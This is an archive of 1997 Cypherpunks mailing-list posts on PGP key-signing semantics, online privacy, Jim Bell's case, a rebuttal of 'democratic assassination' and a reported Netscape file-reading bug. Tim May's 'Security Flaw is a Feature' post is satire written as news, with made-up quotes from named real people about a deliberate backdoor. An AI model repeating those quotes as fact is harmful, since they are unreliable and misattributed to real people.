"tcmay@netcom.com" vs. "tcmay@got.net" is not central. Any concern that
"tcmay@got.net" is somehow not the keyholder of that '92 key is a nonissue.

If the keyserver databases focus on such ephemera as the current ISP
account, then they are focussing on the wrong things.

Am I missing something central?

--Tim May, whose e-mail deliverer has changed a few times, but whose key
remains constant. Which is more important?




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 13 Jun 1997 23:38:20 +0800
To: Kent Crispin <cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <v03102800afc399044c85@[10.0.2.15]>
Message-ID: <v03102801afc5d939ff0e@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:12 PM -0700 6/11/97, Kent Crispin wrote:
>On Wed, Jun 11, 1997 at 07:18:52PM -0700, Steve Schear wrote:
>> Ideas are not protected speech, since they only exist in the mind, only
>> expressions are protected.
>
>Actually, expression is heavily encumbered with state mechanism, since
>it is expression that is "protected" by copyright.

Quite.

>Ideas are also
>encumbered by the state, through patent law.  The whole notion of
>expression and ideas as property is purely sustained by the state.

Yep.  I have the right, because I have the ability, to think anything I
wish. But as soon as I reduce that idea, for example a patent, to a
tangible form the state has deemed it their domain to regulate it, but only
so far as the property aspect is concerned.  But they shouldn't from a
freedom of expression standpoint.

>
>> As I stated earlier, all expressions (however
>> objectionable they may be to some or many members of society) deserve
>> protection, unless they immediately threaten (or server to incite others to
>> threaten) the physical well being of specific individuals or groups.  Porn
>> and instructions for making conventional or weapons of mass distruction
>> should not be regulated.
>
>It seems to me that your penultimate sentence contradicts your last
>sentence.
>
>--
>Kent Crispin				"No reason to get excited",
>kent@songbird.com			the thief he kindly spoke...
>PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
>http://songbird.com/kent/pgp_key.html



PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 13 Jun 1997 07:11:53 +0800
To: cypherpunks@toad.com
Subject: There's no general right to privacy -- get over it, from Netly
Message-ID: <v03007801afc62e624e47@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



**************

http://pathfinder.com/netly/editorial/0,1012,1050,00.html

The Netly News
June 12, 1997

Privacy? What Privacy?
by Declan McCullagh (declan@well.com)

     I have a confession to make: Unlike many of my
civil libertarian colleagues, I believe you have no
general right to privacy online. Sure, you have the
right to protect your personal data, but you shouldn't
be able to stop someone else from passing along that
information if you let it leave your computer. That's
your responsibility.

     So you can imagine my dismay when I learned I'd
be sitting through four full days of Federal Trade
Commission hearings this week on Internet privacy. The
commission's goal? To define "privacy rights" for the
Net -- and to be perhaps the first federal agency to
regulate it. The commissioners are being spurred on by
consumer groups that want the government to bar firms
from collecting information about your online
wanderings. Businesses say that such a rule would
stifle Internet advertising and commerce and have
recently released a flurry of self-regulatory
proposals.

[...]

     Which is one reason why I think there is no
general right to privacy -- at least as the consumer
groups and privacy advocates describe it. Rotenberg
likes to say "Privacy is not an absolute right, but a
fundamental right." But in truth, privacy is not a
right but a preference: Some people want more of it
than others.

     Of course there's an essential right to privacy
from the government. (Beware government databases:
Nazis used census data in Germany and Holland to track
down and eliminate undesirables.) You also have a
right to privacy from Peeping Toms.

     But -- no matter how much big-government
fetishists want this to be true -- you don't own
information about yourself. After all, journalists are
able to investigate someone's private life and publish
an article -- even if it contains embarrassing
personal details. This is a good thing: Any
restrictions would weaken the First Amendment. Then
there's gossip, which is a time-honored way of trading
in others' personal information. "The reindeer-herding
Lapps, for whom theft of livestock is easy and common,
gossip about who has stolen which animal and where
they are," sociologist Sally Engle Merry writes.

[...]


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 13 Jun 1997 09:05:12 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: Burn flag = unconstitutional
Message-ID: <199706130033.TAA12063@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> House Passes Constitutional Amendment On Flag Desecration
> 
>    By Darlene Superville
>    Associated Press Writer
>    
>    WASHINGTON (AP) -- The House voted overwhelmingly today for a proposed
>    constitutional amendment against flag desecration, an issue pushed by
>    conservatives since Republicans took over Congress in 1995.
>    
>    The House tally, held two days before Flag Day, was 310-114.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 13 Jun 1997 09:07:50 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: Internet - Good & Bad [CNN]
Message-ID: <199706130036.TAA12117@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>    June 12, 1997: 4:28 p.m. ET
>    
>    Time NEW YORK (CNNfn) - New technologies for video transmission over
>    the Internet, such as digital video discs (DVDs), represent remarkable
>    potential but also pose an inherent threat to global intellectual
>    property rights, one of the most powerful media executives in the
>    nation said.
>    [INLINE] The Net represents "promise and penalty," Frank Biondi,
>    chairman and chief executive of MCA's Universal Studios, told the
>    audience of the third annual Price Waterhouse media conference here.
>    [INLINE] "At some time, we'll be able to transmit video real-time"
>    over the World Wide Web through the use of technology such as DVDs,
>    Biondi said. However, to succeed, media companies increasingly need to
>    address two principle challenges: protecting intellectual property and
>    promoting the "brand," he added.
>    [INLINE] "By and large, encryption can be broken. That's pretty
>    scary," Biondi said.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 13 Jun 1997 09:08:21 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: Crackdown on spam? [CNN]
Message-ID: <199706130037.TAA12183@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                     FEDS TO CRACK DOWN ON JUNK E-MAIL FRAUD
>                                        
>      
>      
>      June 12, 1997
>      Web posted at: 8:16 p.m. EDT (2016 GMT)
>      
>      WASHINGTON (AP) -- Federal regulators put the junk e-mailindustry on
>      notice Thursday that businesses will be punished ifthey put false
>      information in unsolicited mail they send tomillions of Internet
>      users.
>      
>      The Federal Trade Commission also asked the industry to come upwith
>      ways to stem the flood of commercial mail clogging theInternet and
>      creating bottlenecks that make it difficult to getonline.
>      
>      The FTC said it would ask industry groups to supply lists
>      ofjunk-mail senders to help in the new drive to detect
>      fraud.Penalties a junk mailer might face for breaking the fraud law
>      couldinclude an injunction to stop the illegal practice up to tens
>      ofthousands of dollars in fines for a repeat offender.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 13 Jun 1997 09:11:27 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: Major Netscape Bug [CNN]
Message-ID: <199706130039.TAA12257@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>    From Correspondent Steve Young
>    June 12, 1997: 6:58 p.m. ET
>    
>    Netscape unveils Netcaster - April 15, 1997
>    
>    Princeton team finds third Netscape bug - May 20, 1996
>    
>    Netscape NEW YORK (CNNfn) - A serious new flaw that affects all
>    versions of Netscape Communications Corp.'s popular Navigator Internet
>    browser software -- including the final test version of its
>    Communicator Suite released Wednesday -- has been uncovered by a
>    Danish software firm, CNNfn has learned.
>    
>    The bug was reported by Cabocomm, a software company located about 100
>    miles west of Copenhagen, Denmark. The bug makes it possible for
>    Web-site operators to read anything stored on the hard drive of a PC
>    logged on to the Web site.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 13 Jun 1997 08:19:58 +0800
To: cypherpunks@toad.com
Subject: Jim Bell 5
Message-ID: <1.5.4.32.19970613000419.00925514@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



I spoke briefly this afternoon with Kelly Miller, the
clerk of the district court handling Jim's case.

She said that the USA, Jim and Jim's attorney agreed
to waive (extend) the deadline for speedy indictment 
so that additional material could be assembled by all 
parties.

And that no action will be taken until on or about June
30; Jim will remain in jail until then.

Jim's attorney, Peter Avenia, confirmed this but would 
not comment further except in answer to my question 
about getting in touch with Jim said that he had advised 
Jim not to make statements to anyone.

-----

Kelly Miller: 1-253-593-6754

Peter Avenia: 1-253-593-6710






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pilgrim <nfn04017@gator.naples.net>
Date: Fri, 13 Jun 1997 08:22:04 +0800
To: cypherpunks@Algebra.COM
Subject: Democratic Assassination
Message-ID: <l03102800afc6405bc170@[204.210.206.39]>
MIME-Version: 1.0
Content-Type: text/plain



>  Instead of putting child pornographers in prison we will put
>cryptographers and remailer operators in prison. Instead of
>confiscating the assets of drug czars will confiscate the assets
>of people who have a kid who smokes a joint once a week. Instead
>of censoring legislation which limits our freedom and privacy
>we will censor literature which proposes democratic assassination
>of those who oppress us.

Whoa there bud! I have a nagging feeling that democratic assassination is a
large can of worms than we realize.

There is something fundamentally wrong with a society that is built upon
the notion that those people who do and say unpopular things deserve death.
Yet that is exactly what a system of "democratic" assassinations would do,
enable a large group of people to intimidate and subvert a smaller group of
people.

So, for the sake of argument, let this system of anonymous democratic
assassination come to pass...then what? Utopia? Maybe....

But let's say that someone comes along later, proposing a way of living
that is radically different from the norm. Exhibiting a nasty
characteristic that has been inherent in the human races for eons....even
before the rise of large sprawling governments....the majority of people
decide that they don't like this troublemaker....through the process of
democratic assassination...this person is now dead. Forget even the shade
of a possibility that this person may have been right...that his way of
living ***may*** have been better than the norm. Right and wrong don't
matter. Popularity and the "mood of the crowd" do...this person said
somethig unpopular, and is dead because of it.

Freedom of speech?

Let's say that a group of people suddenly become unpopular. Perhaps times
are tough and the majority need a scapegoat. Maybe this group of people
have been long oppressed and are finally fighting back. Through a system of
democratized assassination....their leaders are dead....with no one willing
to take their place (out of fear)....maybe a few other random people are
killed just to really get these people quaking in their boots.

Or let's take it one step further. If democratic assassination is good, why
not democratic genocide. Let the people take a vote, and if the scale tips
the right way, an entire group of people need killed.

Is this good?

Let's take a step further. Going back to my first example, let's say that
someone comes along proposing a new way to live, and many people take to it
and follow this person. Unfortunately, this person has just happened to
make a few powerful enemies. Through a system of "democratic"
assassination, this person is now dead...and there is no way to catch
his/her killers.

Is this even democratic?

Even if digital cash, anonymous remailers and strong encryption could
enable us to set up a democratic system of assassination (which it
couldn't)...I still wouldn't want to live in a society where killing is
democratized...I do not want to live in a society where people can
abitrarily take a vote on whether I should live or die....

Just because a majority of people like an idea, does that make the idea any
more right or any less wrong?

I (and I would wager you) do not want to live in a society where it is
dangerous...even life threatening to be unpopular, and to go against the
flow. I know that I hold fast to ideas and beliefs which are hardly
considered popular....the only reason I'm not socially scorned, right now,
is because I'm very diplomatic about them....

You wrote a lot about "The Machine," as if it was some real, intelligent,
calculating conscience. It is not. While I do not doubt that "The Machine"
exists, it is not something that is tangible....it is a system...a way of
doing things...a set of entrenched powers...it is not a person.

"The Machine" won't be defeated by killing. Its weakness is far more
subtle..and takes a lot longer to exploit....but that's another story...for
another listserv.

That IRS guy that you want to kill? Sure, he might work for "The Machine,"
but killing him won't solve anything. Hating him won't solve anything. It
might be a short term fix, but there will be others. And perhaps, if you
stop and look at that IRS guy whom you hate so much...you might find that
	1) He has parents, maybe even a wife and children, all of whom love him
	2) He gets tired and night, and has to use the bathroom
	3) He gets happy, sad, lonely, depressed,

	He's another human being....just like yourself...indeed, the only
	difference between himself and yourself is how he makes a living.

And maybe...just maybe...he is just as big a victim of "The Machine" as you
are.

Of course, I'm not accusing anyone of wanting to kill anyone...or hating
anyone. I'm just throw this out because it is food for thought.

You write so much about "The Machine" causing division and hatred between
people.

Perhaps "The Machine" has manipulated you more than you realize.

Justice rarely comes out of hatred.

Regards,
Pilgrim

Regards,
Pilgrim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 13 Jun 1997 12:41:08 +0800
To: cypherpunks@toad.com
Subject: Andrew Shapiro on privacy rights in The Nation
Message-ID: <Pine.GSO.3.95.970612210843.27215B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 12 Jun 1997 21:08:37 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Andrew Shapiro on privacy rights in The Nation

[Andrew is too modest perhaps to mention that his article is the cover
story in the most recent issue of The Nation. --Declan]

---------- Forwarded message ----------
Date: Mon, 9 Jun 1997 02:52:22 -0500
From: Andrew Shapiro <ashapiro@interport.net>
To: declan@well.com
Subject: Re: FC: Mr. Gates goes to Washington, from The Netly News

Declan:

Interesting piece.  I made a somewhat similar point about how the
"siliconaires" (nice coinage) are manipuating the crypto debate at the
expense of those making pure privacy arguments.  This was in an article
focusing mostly on a slightly different topic: this idea of the "market for
privacy." Knowing your faith in markets, I doubt we'll agree on this one,
but you may find my critique interesting -- and worth mentioning to the
list.  Given the news on P3 and OPS, the "market solution" will no doubt be
discussed at the FTC hearing this week.

See http://www.thenation.com/issue/970623/0623shap.htm

Best,
Andrew




Andrew L. Shapiro
Fellow, The Twentieth Century Fund
Contributing Editor, The Nation
41 East 70th Street
New York, NY 10021
ashapiro@interport.net
work: +1 212 452 7725









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Fri, 13 Jun 1997 10:24:27 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03102800afc652637f93@[207.167.93.63]>
Message-ID: <199706130215.VAA07375@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Tim May wrote:
> I can't understand (hint: someone please explain) why I get so many
> requests to send the "tcmay@got.net" key, as opposed to the
> "tcmay@netcom.com" key so widely available. I thought the key signings were
> about the Person Widely Known as "Tim May" being associated with the key
> signed, not some temporary e-mail address.

You get so many requests to send the "tcmay@got.net" key because certain
pgp-aware email programs can encrypt mail using the recipient address,
if it is in the sender's keyring. Therefore, it is more convenient if
the addressee's email address is in the user id field.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 13 Jun 1997 12:39:49 +0800
To: cypherpunks@cyberpass.net
Subject: Netscape Security Flaw is a Feature
Message-ID: <v03102802afc67bb040fb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Many of us have been watching the CNN reports--headline reports at
that--that all past and current versions of Netscape on all platforms have
reportedly carried the bug that allows any Web site being hit by Netscape
to examine files on the user's hard disk.

(A demonstration by the Danish team was compelling. CNN-FN generated a text
file, placed it on their hard disk, and accessed the Danish site. Moments
later, the Danes read back the text file. Over and over for more examples.
They _could have been_ the NSA Web site, and the files could have been
history files, passphrase files, etc. History files are common, and give
captured kestrokes, of course.)

But how could such a massive, massive flaw have gone undiscovered for so long?

The answer, "It's a feature, not a bug."

According to Netscape spokesmen, this feature was added to the kernel of
Mosaic, then Navigator, in 1993, as part of the Clipper Key Recovery
Program. As James Clarke put it an interview tonight on MSNBC, "Dorothy
Denning asked us to insert the "remote read" capabilities to ensure that
the legitimate needs of law enforcement are met. No person cruising the Web
has any expectation of privacy, as even Declan McCullagh has pointed out."

Marc Rotenberg commented, "Privacy at the individual user level is
unimportant, just so long as a Privacy Ombudsman can decide on the
legitimate needs of law enforcement."

Meanwhile, Microsoft has acknowledge that all lines to its Redmond site are
clogged by people dumping Navigator and trying to download Explorer.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 13 Jun 1997 13:02:15 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: Netscape Bug :)))
In-Reply-To: <199706130333.WAA05305@mailhub.amaranth.com>
Message-ID: <v03102800afc67e17aff6@[17.219.102.76]>
MIME-Version: 1.0
Content-Type: text/plain



>William H. Geiger III wrote:
>> Seems that there is a bug in Netscape including the new Communicator that
>> will allow a web site to read *ANY* file on your computer. I repeate
>> *ANY*, yes Virginia, *ANY* file on your computer.
>
>And what is the exploit?
>

According to an uninformitive, but extensive, report on CNN, the firm
is being very closed-mouth about the bug, and expects to be richly
rewarded "The $1000 bug reward was an insult." They will, however,
*give* the information to Netscape if they appear in person at the
company offices in Aarhus.

You might want to look at PC Lab's web site (or PC Magazine, I don't
remember which). All of the examples appeared to use Windows, and
the words "Active X" and "Java" were not used.

Martin Minow






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 13 Jun 1997 11:36:40 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03102800afc652637f93@[207.167.93.63]>
Message-ID: <199706130328.WAA05249@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102800afc652637f93@[207.167.93.63]>, on 06/12/97 
   at 06:47 PM, Tim May <tcmay@got.net> said:

>At 8:31 AM -0700 6/12/97, Bill Frantz wrote:
>>IMHO - What you are really signing is the binding between the data
>>associated with the key (usually an email address) and the key.  You are
>>saying that the secret key holder is (one of the) person(s) who has access
>>to that account, and not some man in the middle in the middle.  If you ask
>>to see Lucky Green's, or Futplex's, or Black Unicorn's picture ID, you will
>>either see a forgery or an ID issued by an organization not interested in
>>birth certificates.

>I am fairly often accused of being arrogant, of being a "know it all." I
>have never claimed to be an expert on PGP, and I certainly am not. I use
>the MacPGP version which became available in '92, and will eventually
>star t working with PGP 5.x (which I have, and have installed, but not
>spent much time with).

>I generated a 1024-bit key in '92, right after PGP 2.0 appeared, and
>participated in a key signing, etc., shortly thereafter. It happened that
>my ISP at that time had just changed from Portal to Netcom. (Now it's
>"got.net", a fairly typical local provider of non-shell ISP services.)

>I can't understand (hint: someone please explain) why I get so many
>requests to send the "tcmay@got.net" key, as opposed to the
>"tcmay@netcom.com" key so widely available. I thought the key signings
>were about the Person Widely Known as "Tim May" being associated with the
>key signed, not some temporary e-mail address.

>My binding was between the key, and "me." Those who wanted to send
>messages to "me" could assume that only "I" could read it. The address
>"tcmay@netcom.com" vs. "tcmay@got.net" is not central. Any concern that
>"tcmay@got.net" is somehow not the keyholder of that '92 key is a
>nonissue.

>If the keyserver databases focus on such ephemera as the current ISP
>account, then they are focussing on the wrong things.

>Am I missing something central?

Well yes, :)

There are different levels of trust and authentication in the web of
trust.

Many (most?) people using PGP will never physically meet and authenticate
keys. Their security model does not require this. Instead what PGP is used
for is a verification method that I am talking to the same person at
tcmay@got.net in my correspondance even though I do not know who he is
physically. So over a period of time of exchanging PGP signed messages I
can authentincate that all of these messages are all comming from
tcmay@got.net who claims to be Tim May. I know that this is not much but
at least I know it's not Dimitri or someone else forging the messages from
that account (though I don't know if all this time tcmay@got.net has
really been one of Dimitri's accounts and that Tim May is really dead).

I also use PGP to sign all my distributed source code & binaries for my
programs. I also sign all my posts. My sharware customers can verify that
the software if from me and unmodified and can also verify any public post
regarding the software. Depending on how concerned on this they may be
satisfied that seeing the code signed with the same key that I use for my
mailing list and in all my public post as enough authentication that the
code is valid (though there is nothing preventing them from taking
stronger methods of authentication upto and including flying down to FL
and meeting me in person).

You also have PGP add-on software that does lookups of keys by e-mail
address. This is a convient feature if one is working with large keyrings.
You do run into the problem of e-mail addresses changing and having
multiple keys with the same address. In my software I make use of a
default file where a key can be assinged to an e-mail address regardless
of what is in the userid. YMMV with other software, from my own testing I
have found that most will either take the first key found with duplicats
or complain of "no key found" with address changes.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6C/hY9Co1n+aLhhAQGDzgQAr85CR5eIFZCFaM/pTGnt5c14x0HUYJJD
Muk7xEyR23cIZP9lrWyq+3IsIfk10sR+rLl2Ip05mwSFOasd1FRyuAIVv6vM6Ovm
3m3nSBfHwP0hQtwwrnCCFlOxScBuWjiSn8Pu/r2yhd6A1+vU8D+JeWe9VuPsDRv7
IRMeLadpvC8=
=1Fl1
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 13 Jun 1997 13:25:36 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03007868afc5c5dd69c9@[207.94.249.152]>
Message-ID: <v0300786dafc68637a08c@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:47 PM -0700 6/12/97, Tim May wrote:
>At 8:31 AM -0700 6/12/97, Bill Frantz wrote:
>>IMHO - What you are really signing is the binding between the data
>>associated with the key (usually an email address) and the key.  You are
>>saying that the secret key holder is (one of the) person(s) who has access
>>to that account, and not some man in the middle in the middle.  If you ask
>>to see Lucky Green's, or Futplex's, or Black Unicorn's picture ID, you will
>>either see a forgery or an ID issued by an organization not interested in
>>birth certificates.
>
>My binding was between the key, and "me." Those who wanted to send messages
>to "me" could assume that only "I" could read it. The address
>"tcmay@netcom.com" vs. "tcmay@got.net" is not central. Any concern that
>"tcmay@got.net" is somehow not the keyholder of that '92 key is a nonissue.

My answer was a pure SPKI answer.  As a first approximation, in SPKI your
identity is your key.  Meatspace doesn't enter into it at all.  This avoids
the naming problem of meatspace (i.e. Which John Smith).

Much of the problem with PGP key signing is there is no complete agreement
on what it means.  I chose to have it mean that there verification of the
binding between the data associated with the key and the key.

If you have a version of the key with no signatures, then you can change
the data field and re-sign with the associated secret key.  Since the data
field has changed, you properly need to have others re-verify the validity
of the binding.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 13 Jun 1997 14:12:34 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Untraceable Contract Killings
Message-ID: <3.0.32.19970612222139.0075f0f0@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain




Vladimir Z. Nuri wrote:

>[yadda, yadda, yadda]

(yawn)
then Truth Monger wrote:

>Of course, Bell did ADD a significant wrinkle, and deserves credit 
>for his contributions.  May and Bell.  Names that will be 
>remembered.  
.........................................................................


L.D.:    Still whining after all these years.


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 13 Jun 1997 13:26:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Untraceable Contract Killings
Message-ID: <3.0.32.19970612222349.00759018@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain




Vladimir Z. Nuri wrote:

>[yadda, yadda, yadda]

(yawn)
then Truth Monger wrote:

>Of course, Bell did ADD a significant wrinkle, and deserves credit 
>for his contributions.  May and Bell.  Names that will be 
>remembered.  
.........................................................................


L.D.:    Still whining after all these years.


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 13 Jun 1997 23:37:02 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Netscape Security Flaw is a Feature
In-Reply-To: <v03102802afc67bb040fb@[207.167.93.63]>
Message-ID: <3.0.1.32.19970612222531.0075a304@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:33 PM 6/12/97 -0700, Tim May wrote:
>But how could such a massive, massive flaw have gone undiscovered for so
long?
 
"Our chief weapon is surprise."

>Meanwhile, Microsoft has acknowledge that all lines to its Redmond site are
>clogged by people dumping Navigator and trying to download Explorer.

Actually, it's all a Scandinavian Plot - the Danish hackers are
doing it on behalf of the Opera Browser folks from Norway,
whose graphical browser has the advantage of being only 1/10 as big as
Netscape or Internet Exploder.  Their primary objective is to
draw people away from Lynx...


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 13 Jun 1997 11:41:12 +0800
To: cypherpunks@Algebra.COM
Subject: Netscape Bug :)))
Message-ID: <199706130333.WAA05305@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Just over the wire:

Seems that there is a bug in Netscape including the new Communicator that
will allow a web site to read *ANY* file on your computer. I repeate
*ANY*, yes Virginia, *ANY* file on your computer.

WebEx user and loving it. :)))))

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6DAn49Co1n+aLhhAQFdVwP+LQHkDPYPdqKDQyTxuYW23NgEHGotNyqB
KJxk7uf93aGrbY6Zi+6+Y8JZeb7ce9usORYP6YWzRx1K/LhkEHn5un0aIRUlbHed
rIxvt1S28bwuiXGrPOWNKTNXfEGb1x/YyBNshooclY1bz1YS1ZRk8t/vBl/aeTZy
oWTpxeG/xjU=
=Asb/
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Fri, 13 Jun 1997 11:53:55 +0800
To: whgiii@amaranth.com
Subject: Re: Netscape Bug :)))
In-Reply-To: <199706130333.WAA05305@mailhub.amaranth.com>
Message-ID: <199706130347.WAA08219@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



William H. Geiger III wrote:
> Seems that there is a bug in Netscape including the new Communicator that
> will allow a web site to read *ANY* file on your computer. I repeate
> *ANY*, yes Virginia, *ANY* file on your computer.
> 
> WebEx user and loving it. :)))))

Do you know if the bug affects Unix versions? How about linux?

And what is the exploit?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 13 Jun 1997 12:01:14 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: Netscape Bug :)))
In-Reply-To: <199706130347.WAA08219@manifold.algebra.com>
Message-ID: <199706130353.WAA05560@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706130347.WAA08219@manifold.algebra.com>, on 06/12/97 
   at 10:47 PM, ichudov@Algebra.COM (Igor Chudov @ home) said:

>William H. Geiger III wrote:
>> Seems that there is a bug in Netscape including the new Communicator that
>> will allow a web site to read *ANY* file on your computer. I repeate
>> *ANY*, yes Virginia, *ANY* file on your computer.
>> 
>> WebEx user and loving it. :)))))

>Do you know if the bug affects Unix versions? How about linux?

>And what is the exploit?

They didn't go into details but they did say in the report that it was a
bug in the "core" of the Netscape code so I would imagine that it is cross
platform.

Unfortunatly they did give details on how to use this bug.

This seems to be a bug that has been out for awhile as it is not just the
new Communicator but older versions of NS also.

Perhaps time to generate a new PGP key pair? :(

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
